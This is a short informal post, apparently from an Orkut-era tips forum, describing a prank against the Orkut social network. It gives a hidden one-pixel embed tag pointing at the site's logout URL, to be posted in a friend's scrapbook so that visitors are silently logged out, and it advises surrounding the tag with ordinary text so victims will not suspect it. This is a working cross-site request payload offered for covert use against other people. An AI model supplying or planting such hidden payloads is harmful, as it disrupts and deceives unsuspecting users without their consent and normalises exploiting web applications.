Here's a way to stop ur friends' scrap chat or kadalai.
scrap this to ur friend
<embed src="http://www.orkut.com/GLogin.aspx?cmd=logout" height="1" width="1">
This code will be invisible and you can just add any message before or after it, So that they wont suspect you...
If u want to annoy friends visiting your scrap book, Scrap urself but even you'll be logged out :)